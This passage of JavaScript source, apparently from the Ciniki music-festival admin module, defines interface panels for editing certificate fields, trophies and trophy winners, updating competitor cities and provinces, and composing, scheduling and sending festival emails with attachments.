'ciniki.musicfestivals.main.certfield');\\n this.certfield.data = null;\\n this.certfield.field_id = 0;\\n this.certfield.certificate_id = 0;\\n this.certfield.nplist = [];\\n this.certfield.sections = {\\n 'general':{'label':'', 'fields':{\\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\\n 'field':{'label':'Field', 'type':'select', 'options':{\\n 'class':'Class',\\n 'timeslotdate':'Timeslot Date',\\n 'participant':'Participant',\\n 'title':'Title',\\n 'adjudicator':'Adjudicator',\\n 'placement':'Placement',\\n 'text':'Text',\\n }},\\n 'xpos':{'label':'X Position', 'required':'yes', 'type':'text'},\\n 'ypos':{'label':'Y Position', 'required':'yes', 'type':'text'},\\n 'width':{'label':'Width', 'required':'yes', 'type':'text'},\\n 'height':{'label':'Height', 'required':'yes', 'type':'text'},\\n 'font':{'label':'Font', 'type':'select', 'options':{\\n 'times':'Times',\\n 'helvetica':'Helvetica',\\n 'vidaloka':'Vidaloka',\\n 'scriptina':'Scriptina',\\n 'allison':'Allison',\\n 'greatvibes':'Great Vibes',\\n }},\\n 'size':{'label':'Size', 'type':'text'},\\n 'style':{'label':'Style', 'type':'select', 'options':{\\n '':'Normal',\\n 'B':'Bold',\\n 'I':'Italic',\\n 'BI':'Bold Italic',\\n }},\\n 'align':{'label':'Align', 'type':'select', 'options':{\\n 'L':'Left',\\n 'C':'Center',\\n 'R':'Right',\\n }},\\n 'valign':{'label':'Vertial', 'type':'select', 'options':{\\n 'T':'Top',\\n 'M':'Middle',\\n 'B':'Bottom',\\n }},\\n// 'color':{'label':'Color', 'type':'text'},\\n// 'bgcolor':{'label':'Background Color', 'type':'text'},\\n 'text':{'label':'Text', 'type':'text'},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.certfield.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.certfield.field_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.certfield.remove();'},\\n }},\\n };\\n this.certfield.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.certfield.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.certfieldHistory', 'args':{'tnid':M.curTenantID, 'field_id':this.field_id, 'field':i}};\\n }\\n this.certfield.open = function(cb, fid, cid, list) {\\n if( fid != null ) { this.field_id = fid; }\\n if( cid != null ) { this.certificate_id = cid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.certfieldGet', {'tnid':M.curTenantID, 'field_id':this.field_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.certfield;\\n p.data = rsp.field;\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.certfield.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.certfield.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.field_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.certfieldUpdate', {'tnid':M.curTenantID, 'field_id':this.field_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.certfieldAdd', {'tnid':M.curTenantID, 'certificate_id':this.certificate_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.certfield.field_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.certfield.remove = function() {\\n M.confirm('Are you sure you want to remove certfield?', null, function(rsp) {\\n M.api.getJSONCb('ciniki.musicfestivals.certfieldDelete', {'tnid':M.curTenantID, 'field_id':M.ciniki_musicfestivals_main.certfield.field_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.certfield.close();\\n });\\n });\\n }\\n this.certfield.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.field_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.certfield.save(\\\\'M.ciniki_musicfestivals_main.certfield.open(null,' + this.nplist[this.nplist.indexOf('' + this.field_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.certfield.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.field_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.certfield.save(\\\\'M.ciniki_musicfestivals_main.certfield.open(null,' + this.nplist[this.nplist.indexOf('' + this.field_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.certfield.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.certfield.save();');\\n this.certfield.addClose('Cancel');\\n this.certfield.addButton('next', 'Next');\\n this.certfield.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit Trophy\\n //\\n this.trophy = new M.panel('Trophy', 'ciniki_musicfestivals_main', 'trophy', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.trophy');\\n this.trophy.data = null;\\n this.trophy.trophy_id = 0;\\n this.trophy.nplist = [];\\n this.trophy.sections = {\\n '_primary_image_id':{'label':'Image', 'type':'imageform', 'aside':'yes', 'fields':{\\n 'primary_image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\\n 'addDropImage':function(iid) {\\n M.ciniki_musicfestivals_main.trophy.setFieldValue('primary_image_id', iid);\\n return true;\\n },\\n 'addDropImageRefresh':'',\\n },\\n }},\\n 'general':{'label':'', 'aside':'yes', 'fields':{\\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\\n 'category':{'label':'Category', 'type':'text'},\\n 'donated_by':{'label':'Donated By', 'type':'text'},\\n 'first_presented':{'label':'First Presented', 'type':'text'},\\n 'criteria':{'label':'Criteria', 'type':'text'},\\n }},\\n '_description':{'label':'Description', 'fields':{\\n 'description':{'label':'', 'hidelabel':'yes', 'type':'textarea', 'size':'large'},\\n }},\\n 'winners':{'label':'Winners', 'type':'simplegrid', 'num_cols':2, \\n 'addTxt':'Add Winner',\\n 'addFn':'M.ciniki_musicfestivals_main.trophy.save(\\\"M.ciniki_musicfestivals_main.trophywinner.open(\\\\'M.ciniki_musicfestivals_main.trophy.open();\\\\',0,M.ciniki_musicfestivals_main.trophy.trophy_id);\\\");',\\n },\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.trophy.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.trophy.trophy_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.trophy.remove();'},\\n }},\\n };\\n this.trophy.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.trophy.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.trophyHistory', 'args':{'tnid':M.curTenantID, 'trophy_id':this.trophy_id, 'field':i}};\\n }\\n this.trophy.cellValue = function(s, i, j, d) {\\n if( s == 'winners' ) {\\n switch(j) {\\n case 0: return d.year;\\n case 1: return d.name;\\n }\\n }\\n }\\n this.trophy.rowFn = function(s, i, d) {\\n if( s == 'winners' ) {\\n return 'M.ciniki_musicfestivals_main.trophy.save(\\\"M.ciniki_musicfestivals_main.trophywinner.open(\\\\'M.ciniki_musicfestivals_main.trophy.open();\\\\',' + d.id + ',M.ciniki_musicfestivals_main.trophy.trophy_id);\\\");';\\n }\\n }\\n this.trophy.open = function(cb, tid, list) {\\n if( tid != null ) { this.trophy_id = tid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.trophyGet', {'tnid':M.curTenantID, 'trophy_id':this.trophy_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.trophy;\\n p.data = rsp.trophy;\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.trophy.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.trophy.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.trophy_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.trophyUpdate', {'tnid':M.curTenantID, 'trophy_id':this.trophy_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.trophyAdd', {'tnid':M.curTenantID}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.trophy.trophy_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.trophy.remove = function() {\\n M.confirm('Are you sure you want to remove trophy?', null, function(rsp) {\\n M.api.getJSONCb('ciniki.musicfestivals.trophyDelete', {'tnid':M.curTenantID, 'trophy_id':M.ciniki_musicfestivals_main.trophy.trophy_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.trophy.close();\\n });\\n });\\n }\\n this.trophy.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.trophy_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.trophy.save(\\\\'M.ciniki_musicfestivals_main.trophy.open(null,' + this.nplist[this.nplist.indexOf('' + this.trophy_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.trophy.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.trophy_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.trophy.save(\\\\'M.ciniki_musicfestivals_main.trophy.open(null,' + this.nplist[this.nplist.indexOf('' + this.trophy_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.trophy.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.trophy.save();');\\n this.trophy.addClose('Cancel');\\n this.trophy.addButton('next', 'Next');\\n this.trophy.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit Trophy Winner\\n //\\n this.trophywinner = new M.panel('Trophy Winner', 'ciniki_musicfestivals_main', 'trophywinner', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.trophywinner');\\n this.trophywinner.data = null;\\n this.trophywinner.trophy_id = 0;\\n this.trophywinner.winner_id = 0;\\n this.trophywinner.nplist = [];\\n this.trophywinner.sections = {\\n 'general':{'label':'', 'fields':{\\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\\n 'year':{'label':'Year', 'type':'text'},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.trophywinner.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.trophywinner.winner_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.trophywinner.remove();'},\\n }},\\n };\\n this.trophywinner.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.trophywinner.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.trophyWinnerHistory', 'args':{'tnid':M.curTenantID, 'winner_id':this.winner_id, 'field':i}};\\n }\\n this.trophywinner.open = function(cb, wid, tid, list) {\\n if( wid != null ) { this.winner_id = wid; }\\n if( tid != null ) { this.trophy_id = tid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.trophyWinnerGet', {'tnid':M.curTenantID, 'winner_id':this.winner_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.trophywinner;\\n p.data = rsp.winner;\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.trophywinner.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.trophywinner.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.winner_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.trophyWinnerUpdate', {'tnid':M.curTenantID, 'winner_id':this.winner_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.trophyWinnerAdd', {'tnid':M.curTenantID, 'trophy_id':this.trophy_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.trophywinner.winner_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.trophywinner.remove = function() {\\n M.confirm('Are you sure you want to remove trophywinner?', null, function(rsp) {\\n M.api.getJSONCb('ciniki.musicfestivals.trophyWinnerDelete', {'tnid':M.curTenantID, 'winner_id':M.ciniki_musicfestivals_main.trophywinner.winner_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.trophywinner.close();\\n });\\n });\\n }\\n this.trophywinner.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.winner_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.trophywinner.save(\\\\'M.ciniki_musicfestivals_main.trophywinner.open(null,' + this.nplist[this.nplist.indexOf('' + this.winner_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.trophywinner.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.winner_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.trophywinner.save(\\\\'M.ciniki_musicfestivals_main.trophywinner.open(null,' + this.nplist[this.nplist.indexOf('' + this.winner_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.trophywinner.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.trophywinner.save();');\\n this.trophywinner.addClose('Cancel');\\n this.trophywinner.addButton('next', 'Next');\\n this.trophywinner.addLeftButton('prev', 'Prev');\\n\\n \\n //\\n // This panel will allow mass updates to City and Province\\n //\\n this.editcityprov = new M.panel('Update', 'ciniki_musicfestivals_main', 'editcityprov', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.editcityprov');\\n this.editcityprov.data = null;\\n this.editcityprov.city = '';\\n this.editcityprov.province = '';\\n this.editcityprov.sections = {\\n 'general':{'label':'', 'fields':{\\n 'city':{'label':'City', 'type':'text', 'visible':'yes'},\\n 'province':{'label':'Province', 'type':'text'},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.editcityprov.save();'},\\n }},\\n };\\n this.editcityprov.open = function(cb, c, p) {\\n if( c != null ) {\\n this.city = unescape(c);\\n this.sections.general.fields.city.visible = 'yes';\\n } else {\\n this.sections.general.fields.city.visible = 'no';\\n }\\n this.province = unescape(p);\\n this.data = {\\n 'city':unescape(c),\\n 'province':unescape(p),\\n };\\n this.refresh();\\n this.show(cb);\\n }\\n this.editcityprov.save = function() {\\n var args = {\\n 'tnid':M.curTenantID, \\n 'festival_id':M.ciniki_musicfestivals_main.festival.festival_id,\\n };\\n if( this.sections.general.fields.city.visible == 'yes' ) {\\n args['old_city'] = M.eU(this.city);\\n args['new_city'] = M.eU(this.formValue('city'));\\n }\\n args['old_province'] = M.eU(this.province);\\n args['new_province'] = M.eU(this.formValue('province'));\\n M.api.getJSONCb('ciniki.musicfestivals.competitorCityProvUpdate', args, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.editcityprov.close();\\n });\\n }\\n this.editcityprov.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.editcityprov.save();');\\n this.editcityprov.addClose('Cancel');\\n\\n //\\n // Create and send a email message to a selection of competitors/teachers with\\n // filtering for section, timeslot sections, etc\\n //\\n this.message = new M.panel('Message',\\n 'ciniki_musicfestivals_main', 'message',\\n 'mc', 'xlarge mediumaside', 'sectioned', 'ciniki.musicfestivals.main.message');\\n this.message.data = {};\\n this.message.festival_id = 0;\\n this.message.message_id = 0;\\n this.message.upload = null;\\n this.message.nplist = [];\\n this.message.sections = {\\n 'details':{'label':'Details', 'type':'simplegrid', 'num_cols':2, 'aside':'yes',\\n 'cellClasses':['label mediumlabel', ''],\\n // Status\\n // # competitors\\n // # teachers\\n // 'dt_sent':{'label':'Year', 'type':'text'},\\n },\\n 'objects':{'label':'Recipients', 'type':'simplegrid', 'num_cols':2, 'aside':'yes',\\n 'cellClasses':['label', ''],\\n 'addTxt':'Add/Remove Recipient(s)',\\n //'addFn':'M.ciniki_musicfestivals_main.messagerefs.open(\\\\'M.ciniki_musicfestivals_main.message.open();\\\\',M.ciniki_musicfestivals_main.message.message_id);',\\n 'addFn':'M.ciniki_musicfestivals_main.message.save(\\\"M.ciniki_musicfestivals_main.message.openrefs();\\\");',\\n },\\n '_subject':{'label':'Subject', 'fields':{\\n 'subject':{'label':'Subject', 'hidelabel':'yes', 'type':'text'},\\n }},\\n '_content':{'label':'Message', 'fields':{\\n 'content':{'label':'', 'hidelabel':'yes', 'type':'textarea', 'size':'large'},\\n }},\\n/* '_file':{'label':'Attach Files', \\n 'fields':{\\n 'attachment1':{'label':'File 1', 'type':'file', 'hidelabel':'no'},\\n 'attachment2':{'label':'File 2', 'type':'file', 'hidelabel':'no'},\\n 'attachment3':{'label':'File 3', 'type':'file', 'hidelabel':'no'},\\n 'attachment4':{'label':'File 4', 'type':'file', 'hidelabel':'no'},\\n 'attachment5':{'label':'File 5', 'type':'file', 'hidelabel':'no'},\\n }}, */\\n 'files':{'label':'Attachments', 'type':'simplegrid', 'num_cols':2,\\n 'cellClasses':['', 'alignright fabuttons'],\\n 'noData':'No attachments',\\n 'addTxt':'Attach File',\\n 'addTopFn':'M.ciniki_musicfestivals_main.message.save(\\\"M.ciniki_musicfestivals_main.message.fileAdd();\\\");',\\n },\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', \\n 'visible':function() {return M.ciniki_musicfestivals_main.message.data.status == 10 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.message.save();',\\n },\\n 'back':{'label':'Back', \\n 'visible':function() {return M.ciniki_musicfestivals_main.message.data.status > 10 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.message.close();',\\n },\\n 'sendtest':{'label':'Send Test Message', \\n 'visible':function() {return M.ciniki_musicfestivals_main.message.data.send == 'yes' ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.message.save(\\\"M.ciniki_musicfestivals_main.message.sendTest();\\\");',\\n },\\n 'schedule':{'label':'Schedule', \\n 'visible':function() {return M.ciniki_musicfestivals_main.message.data.send == 'yes' ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.message.schedule();',\\n },\\n 'unschedule':{'label':'Unschedule', \\n 'visible':function() {return M.ciniki_musicfestivals_main.message.data.status == 30 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.message.unschedule();',\\n },\\n 'sendnow':{'label':'Send Now', \\n 'visible':function() {return M.ciniki_musicfestivals_main.message.data.send == 'yes' ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.message.save(\\\"M.ciniki_musicfestivals_main.message.sendNow();\\\");'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.message.message_id > 0 && M.ciniki_musicfestivals_main.message.data.status == 10 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.message.remove();',\\n },\\n }},\\n };\\n// this.message.fieldValue = function(s, i, d) {\\n// return this.data[i];\\n// }\\n this.message.cellValue = function(s, i, j, d) {\\n if( s == 'details' ) {\\n switch(j) {\\n case 0: return d.label;\\n case 1: return d.value;\\n }\\n }\\n if( s == 'objects' ) {\\n switch(j) {\\n case 0: return d.type;\\n case 1: return d.label;\\n }\\n }\\n if( s == 'files' ) {\\n switch(j) {\\n case 0: return d.filename;\\n }\\n if( this.data.status == 10 && j == 1 ) {\\n return M.faBtn('&#xf019;', 'Download', 'M.ciniki_musicfestivals_main.message.fileDownload(\\\\'' + escape(d.filename) + '\\\\');')\\n + M.faBtn('&#xf014;', 'Delete', 'M.ciniki_musicfestivals_main.message.fileDelete(\\\\'' + escape(d.filename) + '\\\\');');\\n }\\n if( this.data.status > 10 && j == 1 ) {\\n return M.faBtn('&#xf019;', 'Download', 'M.ciniki_musicfestivals_main.message.fileDownload(\\\\'' + escape(d.filename) + '\\\\');');\\n }\\n return '';\\n }\\n }\\n// this.message.cellFn = function(s, i, j, d) {\\n// if( s == 'objects' ) {\\n// }\\n// return '';\\n// }\\n // Add a new message with object and object_id\\n this.message.addnew = function(cb, fid, o, oid) {\\n var args = {'tnid':M.curTenantID, 'festival_id':fid};\\n args['subject'] = '';\\n args['object'] = o;\\n args['object_id'] = oid;\\n M.api.getJSONCb('ciniki.musicfestivals.messageAdd', args, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.message.open(cb, rsp.id);\\n });\\n }\\n this.message.openrefs = function() {\\n M.ciniki_musicfestivals_main.messagerefs.open('M.ciniki_musicfestivals_main.message.open();', M.ciniki_musicfestivals_main.message.message_id);\\n }\\n this.message.fileAdd = function() {\\n if( this.upload == null ) {\\n this.upload = M.aE('input', this.panelUID + '_file_upload', 'image_uploader');\\n this.upload.setAttribute('name', 'filename');\\n this.upload.setAttribute('type', 'file');\\n this.upload.setAttribute('onchange', this.panelRef + '.uploadFile();');\\n }\\n this.upload.value = '';\\n this.upload.click();\\n }\\n this.message.uploadFile = function() {\\n var f = this.upload;\\n M.api.postJSONFile('ciniki.musicfestivals.messageFileAdd', {'tnid':M.curTenantID, 'message_id':this.message_id}, f.files[0],\\n function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.message;\\n p.data.files = rsp.files;\\n p.refreshSection('files');\\n });\\n }\\n this.message.fileDelete = function(f) {\\n M.api.getJSONCb('ciniki.musicfestivals.messageFileDelete', {'tnid':M.curTenantID, 'message_id':this.message_id, 'filename':f}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.message;\\n p.data.files = rsp.files;\\n p.refreshSection('files');\\n });\\n }\\n this.message.fileDownload = function(f) {\\n M.api.openFile('ciniki.musicfestivals.messageFileDownload', {'tnid':M.curTenantID, 'message_id':this.message_id, 'filename':f});\\n }\\n this.message.open = function(cb, mid, fid, list) {\\n if( mid != null ) { this.message_id = mid; }\\n if( fid != null ) { this.festival_id = fid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.messageGet', {'tnid':M.curTenantID, 'message_id':this.message_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.message;\\n p.data = rsp.message;\\n if( rsp.message.status == 10 ) {\\n p.sections.objects.addTxt = \\\"Add/Remove Recipients\\\";\\n } else {\\n p.sections.objects.addTxt = \\\"View Recipients\\\";\\n }\\n if( rsp.message.status == 10 ) {\\n p.addClose('Cancel');\\n p.sections._subject.fields.subject.editable = 'yes';\\n p.sections._content.fields.content.editable = 'yes';\\n } else {\\n p.addClose('Back');\\n p.sections._subject.fields.subject.editable = 'no';\\n p.sections._content.fields.content.editable = 'no';\\n }\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.message.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.message.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.message_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.messageUpdate', {'tnid':M.curTenantID, 'message_id':this.message_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.messageAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'status':10}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.message.message_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.message.sendTest = function() {\\n M.api.getJSONCb('ciniki.musicfestivals.messageSend', {'tnid':M.curTenantID, 'message_id':this.message_id, 'send':'test'}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.alert(rsp.msg);\\n M.ciniki_musicfestivals_main.message.open();\\n });\\n }\\n this.message.sendNow = function() {\\n var msg = '' + (this.data.num_teachers == 0 ? 'No' : this.data.num_teachers) + ' teacher' + (this.data.num_teachers != 1 ? 's' :'')\\n + ' and ' + (this.data.num_competitors == 0 ? 'no' : this.data.num_competitors) + ' competitor' + (this.data.num_competitors != 1 ? 's' : '') \\n + ' will receive this email.

            ';\\n M.confirm(msg + ' Is this email correct and ready to send?', null, function() {\\n M.api.getJSONCb('ciniki.musicfestivals.messageSend', {'tnid':M.curTenantID, 'message_id':M.ciniki_musicfestivals_main.message.message_id, 'send':'all'}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.alert(rsp.msg);\\n M.ciniki_musicfestivals_main.message.open();\\n });\\n });\\n }\\n this.message.schedule = function() {\\n var msg = '' + (this.data.num_teachers == 0 ? 'No' : this.data.num_teachers) + ' teacher' + (this.data.num_teachers != 1 ? 's' :'')\\n + ' and ' + (this.data.num_competitors == 0 ? 'no' : this.data.num_competitors) + ' competitor' + (this.data.num_competitors != 1 ? 's' : '') \\n + ' will receive this email.

            ';\\n M.confirm(msg + 'Are you sure the email is correct and ready to be sent?', null, function() {\\n M.ciniki_musicfestivals_main.messageschedule.open();\\n });\\n }\\n this.message.schedulenow = function() {\\n var sd = M.ciniki_musicfestivals_main.messageschedule.formValue('dt_scheduled');\\n if( sd != this.data.dt_scheduled ) {\\n M.api.getJSONCb('ciniki.musicfestivals.messageUpdate', {'tnid':M.curTenantID, 'message_id':this.message_id, 'dt_scheduled':sd, 'status':30}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.message.close();\\n });\\n } else {\\n this.close();\\n }\\n }\\n this.message.unschedule = function() {\\n M.api.getJSONCb('ciniki.musicfestivals.messageUpdate', {'tnid':M.curTenantID, 'message_id':this.message_id, 'status':10}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.message.open();\\n });\\n }\\n this.message.remove = function() {\\n M.confirm('Are you sure you want to remove message?', null, function() {\\n M.api.getJSONCb('ciniki.musicfestivals.messageDelete', {'tnid':M.curTenantID, 'message_id':M.ciniki_musicfestivals_main.message.message_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.message.close();\\n });\\n });\\n }\\n this.message.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.message_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.message.save(\\\\'M.ciniki_musicfestivals_main.message.open(null,' + this.nplist[this.nplist.indexOf('' + this.message_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.message.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.message_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.message.save(\\\\'M.ciniki_musicfestivals_main.message.open(null,' + this.nplist[this.nplist.indexOf('' + this.message_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.message.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.message.save();');\\n this.message.addButton('next', 'Next');\\n this.message.addLeftButton('prev', 'Prev');\\n this.message.helpSections = function() {\\n return {\\n 'help':{'label':'Substitutions', 'type':'htmlcontent',\\n 'html':'The following substitutions are available in the Message:

            '\\n + '{_first_} = Teacher/Individual first name, Group/Ensemble full name
            '\\n + '{_name_} = Teacher/Individual/Group full name
